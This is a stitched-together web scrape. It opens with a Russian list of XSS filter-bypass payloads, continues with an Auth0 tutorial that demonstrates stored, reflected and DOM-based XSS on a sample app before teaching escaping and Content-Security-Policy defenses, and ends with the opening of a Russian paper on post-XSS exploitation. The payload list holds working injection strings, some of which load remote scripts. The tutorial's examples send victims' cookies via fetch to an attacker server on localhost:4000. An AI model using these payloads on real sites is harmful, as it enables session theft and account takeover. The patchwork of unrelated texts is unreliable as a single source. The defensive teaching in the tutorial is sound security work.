onRowDelete
onRowInserted
onScroll
onSeek
onSelect
onSelectionChange
onSelectStart
onStart
onStop
onStorage
onSyncRestored
onSubmit
onTimeError
onTrackChange
onUndo
onUnload
onURLFlip
seekSegmentTime
Примеры XSS-пейлоадов для обхода фильтрации
Добавление тега:
<svg onload=alert(1)>
"><svg onload=alert(1)//
Инлайн пейлоад:
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
Javascript пейлоады:
'-alert(1)-'
'-alert(1)//
'- alert (1) //
Javascript пейлоад (добавление тега):
</ Script> <svg onload = alert (1)>
Внедрение PHP_SELF:
http: //DOMAIN/PAGE.php/ "> <svg onload = alert (1)>
Обход фильтрации скобок:
<svg onload=alert`1`>
<svg onload=alert(1)>
<svg onload=alert(1)>
<svg onload=alert(1)>
Обход фильтра «alert»:
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
top['al145rt'](1)
top['alx65rt'](1)
top[8680439..toString(30)](1)
Тег body:
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
Редко используемые теги:
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
Обработчики событий:
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
Прямое выполнение:
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
$<!-- math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
$<!-- math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
Обработчики мобильных событий:
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
Загрузка файлов:
"><img src=1 onerror=alert(1)>.gif
В метаданных
$ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg
В SVG файле
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
GIF файл в качестве источника
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Обход XSS аудитора Google Chrome (до 51 версии):
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
Заключение
Придерживаться правила: all input is evil until proven otherwise.
Проверять входящие данные.
Проверять вывод.
Использовать комплексные средства защиты веб-приложений от хакерских атак.
Cross-Site Scripting is one of the most common attacks based on code injection. Although it’s a well-known type of attack, not all developers are really aware of how it works. Of course, if you don’t know how it works, you cannot defend against it. In this article, you’ll learn what an XSS attack is and how to defend against it by inspecting an application that is vulnerable to an XSS attack and then updating the code to fix the vulnerability.
Being aware of these types of vulnerabilities in your application and knowing how to prevent attacks is a must for any Web developer.
What is XSS?
A Cross-Site Scripting attack (also known as XSS attack) is a type of attack where code is injected into a legitimate and trusted website. The actors involved in an XSS attack are:
- The vulnerable website: a website with a vulnerability that allows code injection (XSS vulnerability).
- The victim: a user of the vulnerable website, the actual target of the attack.
- The attacker: a user who injects the malicious code, typically in JavaScript, into the vulnerable website.
Basically, the attacker uses the vulnerable website as a means to deliver their malicious script to the actual victim: the user of the vulnerable website. In fact, the snippet of JavaScript code injected into the vulnerable website will run on the victim’s web browser.
At first glance, this may seem not so critical. After all, JavaScript has no direct access to the user’s system. However, JavaScript can access many sensitive data related to the website the user is browsing, like, for example, cookies, security tokens, and other similar data. Also, JavaScript can send data to arbitrary servers and manipulate the DOM of the current page.
These possibilities may be very harmful to your website or web application, as you will learn in this article.
XSS in Action
To better understand how XSS attacks work, you are going to set up an environment with all the elements to reproduce a simplified version of such type of attacks. To set up this environment, you just need Node.js installed on your machine.
Although the example shown in this article uses Node.js as a server runtime, be aware that XSS attacks are not related to a specific server-side technology. The principles you will learn can be applied to any technology like ASP.NET, PHP, Django, and so on. In addition, since XSS attacks involve JavaScript, your client-side code is affected too.
Set up the environment
So, to get the playground environment where to experience firsthand an XSS attack, download the sample project from GitHub by running this command in a terminal window:
git clone https://github.com/auth0-blog/xss-sample-app.git
Now, move into the project’s root folder and install the project’s dependencies by running the following command:
npm install
Finally, launch the vulnerable website by running this command:
npm start
Point your browser to the http://localhost:3000 address. You should see the following page:
The project implements a specific movie page of a fictitious movie streaming website. Users can add their review to the movie by simply filling in the text box and clicking the submit button. For simplicity, assume that users have already been authenticated, and this is just one specific step in the user’s journey on the website.
When you add your review, you see it appearing in the comments section. Any other user will see your review.
Now that the vulnerable website is up and running, launch the attacker’s website typing this command:
node attacker-server.js
To ensure that it runs correctly, point a new tab of your browser to the http://localhost:4000 address. You should see the following page:
This website is meant to capture private data from the vulnerable website by exploiting its cross-site scripting vulnerabilities.
Let’s see the attack in action.
Injecting the malicious code
Now, assume you are the attacker visiting the streaming website and, instead of adding a review to the movie, you add the following string in the review text box:
<script>fetch(`http://localhost:4000?data=${encodeURIComponent(window.location.search)}`)</script>
As you can see, this is a script element containing a JavaScript statement that sends an HTTP request to the attacker’s website. That HTTP request is passing the current search query parameters.
Using the
<script>element is just one example of how you can inject your JavaScript code. You can perform code injection using various HTML tags. Be aware, also, that other XSS injection techniques involve CSS, direct JavaScript code, etc.
After submitting this string, you will get the following result in the page of the vulnerable website:
At the bottom of the page, you find an empty comment. This may seem harmless, however, if you reload the attacker’s website, you will see that it grabbed your current query string:
Of course, this isn’t the actual attack, since you (the attacker) just sent your own data to yourself. This is just how you prepare for the attack.
The actual attack
The actual attack happens when another user accesses that page of the vulnerable website. So, to simulate a different user, open another tab of your browser in incognito mode or an instance of a different browser. Then navigate to the vulnerable website and add a new review on the movie.
You will notice that nothing strange happens on the vulnerable website. Your review is appended right below the empty one. However, try to reload the attacker’s website. You will see your new review below the previous one:
Your review has been captured by the attacker without you even realizing it.
You may think that capturing reviews is not so interesting, since the review is public anyway. But consider what may happen if you, as the attacker, drop the following code snippet as your review on the movie:
<script>fetch(`http://localhost:4000?data=${document.cookie}`)</script>
If the vulnerable website developer has taken no precautions to secure the cookies, you will capture the current user’s cookies. That means you are capturing users’ sessions and can access the vulnerable website by impersonating them. Also, your browser storage is at risk. So, if you are storing your access token in the browser, you are giving the attacker the opportunity to access your resources on your behalf.
Now do you think it is dangerous enough?
«Being aware of XSS vulnerabilities in web applications and knowing how to prevent attacks is a must for any developer.»
Tweet This
Post-mortem Analysis
So, what vulnerability in the sample streaming website did the attacker exploit to intercept the user’s data?
Let’s take a look at the code of the vulnerable website. It is a Node.js application that uses Express as a web framework, and its entry point is the server.js file. Of course, this application’s code is intentionally naive, just to highlight the core principles behind the attack. Nevertheless, be aware that the same kind of vulnerability may arise even in a much more sophisticated codebase.
The example presented in this article is based on Node.js and Express. However, the XSS attacks are independent of the specific technology. So, the same principles you will learn in this analysis are also applicable to a different server-side technology.
The content of the server.js file looks like the following:
// server.js
const express = require("express");
const session = require('express-session');
const fs = require('fs');
const port = 3000;
const app = express();
let reviews = [];
app.use(express.static('public'));
app.use(session({
secret: 'my-secret',
resave: true,
saveUninitialized: true,
cookie: {
httpOnly: false
}
}));
app.get('/', function (req, res) {
if (req.query.newReview) reviews.push(req.query.newReview);
const formattedReviews = reviews.map((review)=> `<dt>User</dt><dd>${review}</dd>`).join(' ');
const template = fs.readFileSync('./templates/index.html', 'utf8');
const view = template.replace('$reviews$', formattedReviews);
res.send(view);
});
app.listen(port, () => console.log(`The server is listening at http://localhost:${port}`));
Let’s focus on the relevant point of this investigation: how the server handles the website page’s request. In the code above, it is represented by the app.get() handler. Basically, when the server receives the request, it performs the following steps:
- It adds the new review to the
reviewsarray. - It creates a formatted string obtained by joining the
reviewsarray. - It loads an HTML template from a file.
- It replaces the
$reviews$placeholder with the formatted string. - It sends the result to the user’s browser in the HTTP response.
The relevant part of the HTML template for the movie page looks as follows:
<!-- templates/index.html -->
<!DOCTYPE html>
<html lang=en>
<head>
<!-- Styles, scripts, and other stuff -->
</head>
<body>
<!-- Other sections -->
<section id="comments">
<form>
<fieldset>
<textarea name="newReview" cols="80" rows="5" placeholder="Add your review"></textarea>
<button type="submit">Submit</button>
</fieldset>
</form>
<hr>
<h2>Comments</h2>
<dl>
$reviews$ //👈 risky statement
</dl>
</section>
</body>
</html>
Here, the main reason for the XSS vulnerability lies in the lack of sanitization of the data sent by the user. Data is accepted as it is sent, without any control over its validity and security. In this case, the placeholder highlighted in the code snippet above is replaced with the reviews sent by the user without any validity check. Since the attacker’s review is valid HTML code and there is no sanitization, the user’s browser interprets the attacker’s review as code, injecting it into the HTML.
On the other side, one of the things that stands out in the code of the server.js file is the configuration of the cookies for the session. Even if that is not strictly related to XSS attacks, the httpOnly: false setting allows JavaScript to capture the user’s session data. It’s a good practice to keep httpOnly: true for session cookies.
Types of XSS
The attack illustrated and analyzed above is just one possible way to inject malicious content into a web application. In this specific case, the attacker injects the code into the website, which stores that code and distributes it to any user unintentionally. In the example you analyzed, the malicious JavaScript code is stored in the reviews variable shared among all the vulnerable website users. In most real-life cases, that code is typically stored in a database. This is why the XSS attack seen so far is called Stored XSS or Persistent XSS.
In this section, you will learn that XSS attacks are usually classified in three categories: Stored XSS, Reflected XSS, and DOM-based XSS. You will see that they work slightly differently, but the core principle is the same: injecting a malicious piece of code to steal confidential data to the user through a trusted website.
Stored XSS
As said, this type of XSS attack is based on a snippet of malicious code stored on the server side. This code remains active until it is explicitly removed. It may affect a single user or many users, depending on the visibility of the injected code. For example, in the case of the sample streaming website, comments are public, so all users are affected.
To recap the example of attack you’ve seen above, these are the typical steps for a Stored XSS attack:
- The attacker visits the vulnerable website and injects the malicious code.
- The malicious code is persisted on the server.
- The user visits the vulnerable website and runs the malicious code.
Reflected XSS
In a Stored XSS attack, the user receives the malicious code as part of the vulnerable website’s response to a legitimate request. In a Reflected XSS attack, the malicious code is included in the user’s request to the vulnerable website. In other words, in this case, it’s not the attacker to inject the malicious code into the vulnerable website, but the victim themselves.
The attacker’s burden is to provide the user with a link containing the malicious code. It can be done in different ways: publishing it on a website, including it in an e-mail, sharing it on a social network, etc.
Let’s see what the flow of a typical Reflected XSS attack is:
- The user visits the attacker’s website (or receives an email, etc.) and clicks on a link.
- The user is redirected to the vulnerable website with the malicious code encoded in the URL parameters.
- The user unintentionally injects and runs the malicious code as an effect of visiting the vulnerable website.
To try this type of attack yourself, go back to your browser and reload the sample attacker website by typing the address http://localhost:4000/?mode=reflected. This time, the attacker website should look like this:
The only new thing is a Visit this website! link below the title. If you click that link, you will be redirected to the streaming website. Looking at the address bar of your browser, you will notice the following link:
http://localhost:3000/?newReview=%3Cscript%3Efetch%28%60http%3A%2F%2Flocalhost%3A4000%3Fdata%3D%24%7Bdocument.cookie%7D%60%29%3C%2Fscript%3E
It has the newReview parameter in the query string, and this parameter is assigned the encoded version of the script element you saw before. This URL is exploiting the sample website vulnerability to add the malicious code as a normal review on the movie.
Just by accessing the streaming website, a new empty comment has been added and your session cookie has been sent to the attacker’s website. You can verify this by reloading the attacker’s website and you should see your own cookie under «I stole this data».
Maybe you may think that a more skilled user may notice the suspicious parameter in the malicious URL before clicking on the link. Consider, however, that the attacker could hide the malicious code to users by using an URL shortening service.
DOM-based XSS
While the Stored and Reflected XSS attacks involve the server, a DOM-based XSS attack involves only the browser and the DOM manipulation operated via JavaScript. Consider the following flow:
- The user visits the attacker’s website or receives a link from the attacker.
- The user is redirected to the vulnerable website with an URL containing the malicious code.
- The vulnerable website receives the request and provides the page, but doesn’t process the malicious code.
- The client-side JavaScript accesses the malicious code and runs it on the user’s browser.
In this case, the malicious code is intended for the client-side code. The input is processed by JavaScript to perform some DOM manipulation so that the malicious code runs without involving the server.
As a practical example, point again your browser to the sample streaming website, insert the following string in the search box, and click the Go button:
<img src="noimage" onerror=fetch(`http://localhost:4000?data=${document.cookie}`)/>
You will see a broken image in the results page as in the following picture:
Don’t worry if you do not get any results. It’s by design! 😀
Remember that this is just an example to show how XSS works.
This broken image is the means used by the attacker to steal your session cookie. As usual, you can confirm this by reloading the attacker’s website.
To understand what happened, take a look at the index.html file in the templates folder. The following is the relevant markup for the search box and the results section:
<!-- templates/index.html -->
<!DOCTYPE html>
<html lang=en>
<head>
<!-- Styles, scripts, and other stuff -->
</head>
<body>
<section>
<h1>The Vulnerable Movie Center</h1>
<hr class="thin">
<form id="search-form" onsubmit="return search()">
<input id="keyword" type="text" class="thin" placeholder="Search a movie"><button type="submit" class="thin">Go</button></form>
<hr>
</section>
<section id="search-result">
You searched for <span id="search-term"></span>
<p>Waiting for server's response...</p>
</section>
<!-- Other sections -->
</body>
</html>
This is the search() JavaScript function that processes the keyword and gets the results from the server:
function search() {
const searchResult = document.getElementById("search-result");
const searchTerm = document.getElementById("search-term");
const keyword = document.getElementById("keyword");
const movieData = document.getElementById("movie-data");
const comments = document.getElementById("comments");
movieData.style.visibility = "hidden";
comments.style.visibility = "hidden";
searchResult.style.display = "block";
searchTerm.innerHTML = keyword.value; //👈 risky statement
//fetching results related to the keyword value from the server
return false;
}
As you can see, the function gets the input inserted by the user via the keyword element and assigns its value to the searchTerm element as immediate feedback. Then it should query the server and show the results, but this part is omitted for simplicity. The big mistake here is assigning the user’s input to the innerHTML property of the searchResult element directly. This causes the rendering of the fake image injected in the search box, which in turn triggers the execution of the onerror handler.
You may wonder why the
<img>tag has been used here instead of the<script>tag as in the previous examples. Well, this is because, by HTML5 specs, a<script>block assigned to theinnerHTMLproperty of an element will not be executed.
XSS Defense: Working on Untrusted data
Now you have a clearer understanding of how Cross-Site Scripting attacks work. So, the next step is learning how to protect your application from them. You may have been realizing that the main reason for having an XSS vulnerability is the lack of data validation. So, you guessed that the primary defense against XSS attacks is distrusting user input. You have two main strategies:
-
Validate user input: You must make sure that all the data entered by the user is as you expect it to be. Use validation functions, regular expressions, and whatever prevents the user from sending you data in an unexpected format. Sanitize user input or reject it. Also, make sure to validate user input both on the client and on the server side.
-
Escape untrusted output: As you learned, showing data to the user is the primary means to execute the injected malicious code. Even if you validated the user input, don’t trust it too much. Combine input validation with output escaping so that it can’t be interpreted as code.
You can perform data validation and escaping on your own, but it may result in a daunting undertaking. Instead, you should rely on established libraries and template engines. For example, for the sample project of the vulnerable streaming site, you could use the EJS template library instead of roughly replacing placeholders in the HTML markup.
Let’s take a look at how you can fix the XSS vulnerability of the sample project by applying these defenses. The first step is to add the EJS template library to the project by running the following command:
npm install ejs
Then, rename the index.html file under the templates folder to index.ejs. This enables EJS to interpret it as a template. Now, replace the $reviews$ placeholder in the index.ejs file with the EJS expression shown below:
<!-- templates/index.ejs -->
<!DOCTYPE html>
<html lang=en>
<head>
<!-- Styles, scripts, and other stuff -->
</head>
<body>
<!-- Other sections -->
<section id="comments">
<form>
<fieldset>
<textarea name="newReview" cols="80" rows="5" placeholder="Add your review"></textarea>
<button type="submit">Submit</button>
</fieldset>
</form>
<hr>
<h2>Comments</h2>
<dl>
<% reviews.forEach(review => { %> //👈 new code
<dt>User</dt><dd><%= review %></dd>
<% }); %>
</dl>
</section>
</body>
</html>
Finally, apply a few changes to the server.js file as shown in the following:
// server.js
const express = require("express");
const session = require('express-session');
const port = 3000;
const app = express();
let reviews = [];
app.set('views', './templates'); //👈 new code
app.set('view engine', 'ejs'); //👈 new code
app.use(express.static('public'));
app.use(session({
secret: 'my-secret',
resave: true,
saveUninitialized: true,
cookie: {
httpOnly: true
}
}));
//👇 changed code
app.get('/', function (req, res) {
if (req.query.newReview) reviews.push(req.query.newReview);
res.render('index', {reviews});
});
//👆 changed code
app.listen(port, () => console.log(`The server is listening at http://localhost:${port}`));
The changes highlighted above enable the streaming web application to use the EJS template engine and avoid XSS code injection in the users’ reviews. Please, check out the official documentation to learn more about EJS.
To properly manage the other vulnerability point, that is, the search box, you should take a closer look at the current code of the search() function within the index.ejs template. In particular, you should ask yourself if you actually need to use the innerHTML property to give feedback to the user. In this specific case, it is not necessary indeed. You can get the same result without the XSS risks by using the innerText property, as shown below:
function search() {
const searchResult = document.getElementById("search-result");
const searchTerm = document.getElementById("search-term");
const keyword = document.getElementById("keyword");
const movieData = document.getElementById("movie-data");
const comments = document.getElementById("comments");
movieData.style.visibility = "hidden";
comments.style.visibility = "hidden";
searchResult.style.display = "block";
searchTerm.innerText = keyword.value; //👈 new code
//fetching results related to the keyword value from the server
return false;
}
The innerHTML property is an HTML sink, that is, a potentially dangerous point that needs attention. You should avoid using sinks unless strictly necessary. Using the innerText property prevents a string from being interpreted as HTML and triggering the XSS attack.
As you may notice, to prevent both vulnerability points, you didn’t use data validation. In this case, this choice is due to the fact that the user input has no specific format. In general, the combination of both approaches ensures better protection.
Once you apply these changes, reload the streaming website in your browser and try to inject the code you saw above as a comment and in the search box:
<img src="noimage" onerror=fetch(`http://localhost:4000?data=${document.cookie}`)/>
This time your data shouldn’t be captured by the attacker’s website.
You can find this fixed version of the sample project in the validation-escaping branch of the GitHub repository. You can download it with the following command:
git clone -b validation-escaping https://github.com/auth0-blog/xss-sample-app.git
As said above, the sample project used in this article is a Node.js project. However, the concepts are valid for any server-side technology. So, please, try to adapt the validation and escaping approach to your server-side programming framework.
«The first rule to prevent XSS attacks is never to trust the data entered by users.»
Tweet This
XSS Defense: The Content Security Policy
Escaping and validating data may give you a sense of relief that your application is safe enough. However, you should make sure that all possible injection points of your application have been analyzed and correctly fixed. This may require a considerable effort and, anyway, could be an error-prone task.
As a more robust approach, you can apply the HTTP Content-Security-Policy (CSP) header to prevent unauthorized code execution. CSP supports many directives that help you to control how content can be combined in your HTML page. For the goal of this article, you will focus on the script-src directive that allows you to control where the JavaScript running on your page can come from.
The general syntax of the HTTP header is pretty simple:
Content-Security-Policy: script-src <sources>;
In this template, <sources> represents a list of strings delimited by single quotes. Each string specifies an allowed source of JavaScript code for the current web page.
Let’s start getting acquainted with CSP by putting it immediately to work.
Enabling CSP
Make sure to use the original code of the sample project before applying data validation and escaping. Refer to the Set up the environment section for directions.
In the server.js file, add the following code:
// server.js
// ...existing code...
let reviews = [];
//👇 new code
app.use(function(req, res, next) {
res.setHeader("Content-Security-Policy", "script-src 'self';");
next();
});
//👆 new code
app.use(express.static('public'))
// ...existing code...
This code configures a new middleware in the Express application that attaches the HTTP CSP header to each request. In this specific case, you are specifying 'self' as the authorized script source for any HTML page of the application. The 'self' source tells the browser to trust only scripts coming from the current origin (http://localhost:3000 in the example you are exploring).
Specifying the 'self' source also blocks embedded and inline code execution. So, any injected HTML code containing an inline script like the following will not run:
<script>fetch(`http://localhost:4000?data=${document.cookie}`)</script>
This time, adding the above markup as a comment will not trigger an XSS injection. The browser will automatically block the code execution. Script tags embedded in HTML is the most common form of XSS. Banning them mitigates XSS risk considerably.
However, as a side effect of applying the 'self' source for the script-src directive, your search function will no longer work. In fact, the code associated with the search functionality is included in a <script> tag and triggered by an inline statement. How could you fix this?
You have a few options here.
Enabling inline code
As a first option, you could enable the execution of inline scripts. You can do this by adding the 'unsafe-inline' source to the allowed source list, as in the following example:
app.use(function(req, res, next) {
res.setHeader("Content-Security-Policy", "script-src 'self' 'unsafe-inline'");
next();
});
Of course, this approach enables your search feature but nullifies the benefit brought by 'self'. So, as you can guess, using the 'unsafe-inline' source is not recommended.
Using hash codes
Alternatively, CSP allows you to enable specific trusted code blocks by identifying them through their hash code. In the templates/index.html page of the streaming website project, you have a script block containing the search() function definition. But you also have an inline JavaScript code:
<form id="search-form" onsubmit="return search()">
<input id="keyword" type="text" class="thin" placeholder="Search a movie"><button type="submit" class="thin">Go</button>
</form>
You need to gather this code into the script block. So, remove the onsubmit="return search()" attribute from the search form and aggregate all code in the script block as follows:
function search() {
const searchResult = document.getElementById("search-result");
const searchTerm = document.getElementById("search-term");
const keyword = document.getElementById("keyword");
const movieData = document.getElementById("movie-data");
const comments = document.getElementById("comments");
movieData.style.visibility = "hidden";
comments.style.visibility = "hidden";
searchResult.style.display = "block";
searchTerm.innerHTML = keyword.value;
//querying the server for the keyword value
return false;
}
window.onload = function() {
const form = document.getElementById("search-form");
form.onsubmit = () => search();
};
Once you modify the index.html page under the template folder, reload the streaming website. You will find that the search function still doesn’t work. If you are using Chrome as your browser, in the Dev Tools console, you will find an error message like the following:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk='), or a nonce ('nonce-...') is required to enable inline execution.
Take note of the calculated hash code. In the example above, its value is 'sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk=' and it represents the trusted source you are going to add to the CSP header.
Keep in mind that your hash code could be different from the one shown above. It depends on any possible small differences between your code and the code proposed in this article (even a white space).
Once you have the hash code for your script block, change the value of the CSP header in server.js:
app.use(function(req, res, next) {
res.setHeader("Content-Security-Policy", "script-src 'self' 'sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk=';");
next();
});
This CSP header tells the browser to trust only scripts from the current origin and the script block with that specific hash code. Now the searching feature is working again.
Using nonce
If you have noticed, the error message provided by Chrome Dev Tools suggests another possible solution to enable script blocks. It mentions you can provide a nonce. The nonce alternative is based on a random value sent by the server and matching the value specified in the nonce attribute of the script block. For example, suppose the server sends the CSP header as shown below:
app.use(function(req, res, next) {
const ramdomValue = generateRandomValue();
res.setHeader("Content-Security-Policy", `script-src 'self' 'nonce-${ramdomValue}';``);
next();
});
Assuming that the value of ramdomValue is abc123, you should add the following nonce attribute to your <script> block:
<script nonce="abc123">
...
</script>
In practice, this is another way to identify script blocks in the HTML page, and its behavior on the client side is pretty similar to the hash code approach.
Trusting only external scripts
Both the hash-based and nonce-based defenses are a bit demanding to maintain. You need to generate a new hash whenever you change your scripts, and you should make sure to generate random nonces at each request to avoid the attacker using your nonces to legitimize their malicious code.
A better approach is based on moving all the JavaScript code outside the HTML markup and dealing with it as a resource. For this purpose, move the content of the script block you centralized before into a new search.js file in the public folder. The file’s content should look like the following:
// public/js/search.js
function search() {
const searchResult = document.getElementById("search-result");
const searchTerm = document.getElementById("search-term");
const keyword = document.getElementById("keyword");
const movieData = document.getElementById("movie-data");
const comments = document.getElementById("comments");
movieData.style.visibility = "hidden";
comments.style.visibility = "hidden";
searchResult.style.display = "block";
searchTerm.innerHTML = keyword.value;
//querying the server for the keyword value
return false;
}
window.onload = function() {
const form = document.getElementById("search-form");
form.onsubmit = () => search();
};
Now, replace the whole script block in the templates/index.html file with a script element that refers to the search.js file. The relevant markup should look like the following:
<!-- templates/index.html -->
<!DOCTYPE html>
<html lang=en>
<head>
<!-- Styles, scripts, and other stuff -->
<script src="js/search.js"></script> //👈 changed code
</head>
<body>
<section>
<h1>The Vulnerable Movie Center</h1>
<hr class="thin">
<form id="search-form">
<input id="keyword" type="text" class="thin" placeholder="Search a movie">
<button type="submit" class="thin">Go</button>
</form>
<hr>
</section>
<!-- Other sections -->
</body>
</html>
Once all your JavaScript code lives outside the markup of your HTML page, you should trust only your current origin as the source of your code. In other words, the server needs to provide the browser with only 'self' as the allowed source for the script-src directive. This corresponds to the first attempt you made to apply CSP to the streaming website:
app.use(function(req, res, next) {
res.setHeader("Content-Security-Policy", "script-src 'self';");
next();
});
This approach delegates the burden to the browser to check if a piece of code is allowed to execute or not and makes your code easier to maintain.
You can find the sample project fixed by applying CSP in the csp branch of the GitHub repository. You can download it with the following command:
git clone -b csp https://github.com/auth0-blog/xss-sample-app.git
«Content Security Policy helps to boost your web application security.»
Tweet This
Aside: Auth0 Authentication with JavaScript
At Auth0, we make heavy use of full-stack JavaScript to help our customers to manage user identities, including password resets, creating, provisioning, blocking, and deleting users. Therefore, it must come as no surprise that using our identity management platform on JavaScript web apps is a piece of cake.
Auth0 offers a free tier to get started with modern authentication. Check it out, or sign up for a free Auth0 account here!
Then, go to the Applications section of the Auth0 Dashboard and click on «Create Application». On the dialog shown, set the name of your application and select Single Page Web Applications as the application type:
After the application has been created, click on «Settings» and take note of the domain and client id assigned to your application. In addition, set the Allowed Callback URLs and Allowed Logout URLs fields to the URL of the page that will handle login and logout responses from Auth0. In the current example, the URL of the page that will contain the code you are going to write (e.g. http://localhost:8080).
Now, in your JavaScript project, install the auth0-spa-js library like so:
npm install @auth0/auth0-spa-js
Then, implement the following in your JavaScript app:
import createAuth0Client from '@auth0/auth0-spa-js';
let auth0Client;
async function createClient() {
return await createAuth0Client({
domain: 'YOUR_DOMAIN',
client_id: 'YOUR_CLIENT_ID',
});
}
async function login() {
await auth0Client.loginWithRedirect();
}
function logout() {
auth0Client.logout();
}
async function handleRedirectCallback() {
const isAuthenticated = await auth0Client.isAuthenticated();
if (!isAuthenticated) {
const query = window.location.search;
if (query.includes('code=') && query.includes('state=')) {
await auth0Client.handleRedirectCallback();
window.history.replaceState({}, document.title, '/');
}
}
await updateUI();
}
async function updateUI() {
const isAuthenticated = await auth0Client.isAuthenticated();
const btnLogin = document.getElementById('btn-login');
const btnLogout = document.getElementById('btn-logout');
btnLogin.addEventListener('click', login);
btnLogout.addEventListener('click', logout);
btnLogin.style.display = isAuthenticated ? 'none' : 'block';
btnLogout.style.display = isAuthenticated ? 'block' : 'none';
if (isAuthenticated) {
const username = document.getElementById('username');
const user = await auth0Client.getUser();
username.innerText = user.name;
}
}
window.addEventListener('load', async () => {
auth0Client = await createClient();
await handleRedirectCallback();
});
Replace the
YOUR_DOMAINandYOUR_CLIENT_IDplaceholders with the actual values for the domain and client id you found in your Auth0 Dashboard.
Then, create your UI with the following markup:
<p>Welcome <span id="username"></span></p>
<button type="submit" id="btn-login">Sign In</button>
<button type="submit" id="btn-logout" style="display:none;">Sign Out</button>
Your application is ready to authenticate with Auth0!
Check out the Auth0 SPA SDK documentation to learn more about authentication and authorization with JavaScript and Auth0.
Summary
This article introduced you to XSS vulnerabilities that may affect your web applications. It showed how XSS attacks work with a practical approach, and with the same practical approach, you learned how you could defend from them. You discovered the three types of XSS and applied the main techniques to XSS defenses: data validation, output escaping, and use of the CSP header.
XSS attacks can occur in different forms. The ones described here are just a few examples. Even the ways to prevent them may be more complex. Now that you have a clear understanding of XSS fundamentals, you should have no problems following the OWASP XSS cheat sheet to protect your applications as best as possible.
С появлением технологий разработки многофункциональных веб-приложений и увеличения числа веб-сервисов возросло количество уязвимостей в этих приложениях. Межсайтовый скриптинг (Cross Site Scripting, CSS или чаще используемая аббревиатура XSS) один из наиболее распространенных типов атак посредством внедрения кода.
Авторы: Ништа Джатана (Nishtha Jatana) – доцент, кафедра Информатики и Проектирования, Технологический институт Махараджа Сураджмал (Maharaja Surajmal Institute of Technology), Нью-Дели, Индия, nishtha.jatana@gmail.com;
Адвития Агравал (Adwiteeya Agrawal), Критика Собти (Kritika Sobti), оба студенты, кафедра Информационных Технологий, Технологический институт Махараджа Сураджмал Нью-Дели, Индия, adwiteeyaagrawal@gmail.com, kritikasobti92@gmail.com;
Аннотация – XSS (межсайтовый скриптинг) – уязвимость в веб-приложении, когда конечный пользователь может передавать простые скрипты как полезные нагрузки (payloads) через необрабатываемые входные параметры. Подобный тип уязвимостей существует уже достаточно давно, однако наша текущая задача – последующее использование обнаруженных уязвимостей. Эта концепция известна как «Пост-эксплуатация XSS», и именно на ней сфокусировано внимание в этой статье. В данном документе представлено углубленное исследование угроз XSS-уязвимостей и упрощенное их применение. Также показаны варианты защитных действий от XSS-атак, которые могут быть применены в качестве мер предосторожности. Далее мы используем одну из уязвимостей и разработаем новый модуль на базе одной из популярных утилит для XSS-атак. Этот модуль можно использовать для вызова через SIP-протокол (Session Initiation Protocol, протокол установления сеанса). Модуль был разработан для нового релиза фреймворка XSSF.
Ключевые слова: XSS, Post-XSS, Атаки, Средства защиты.
1. Введение
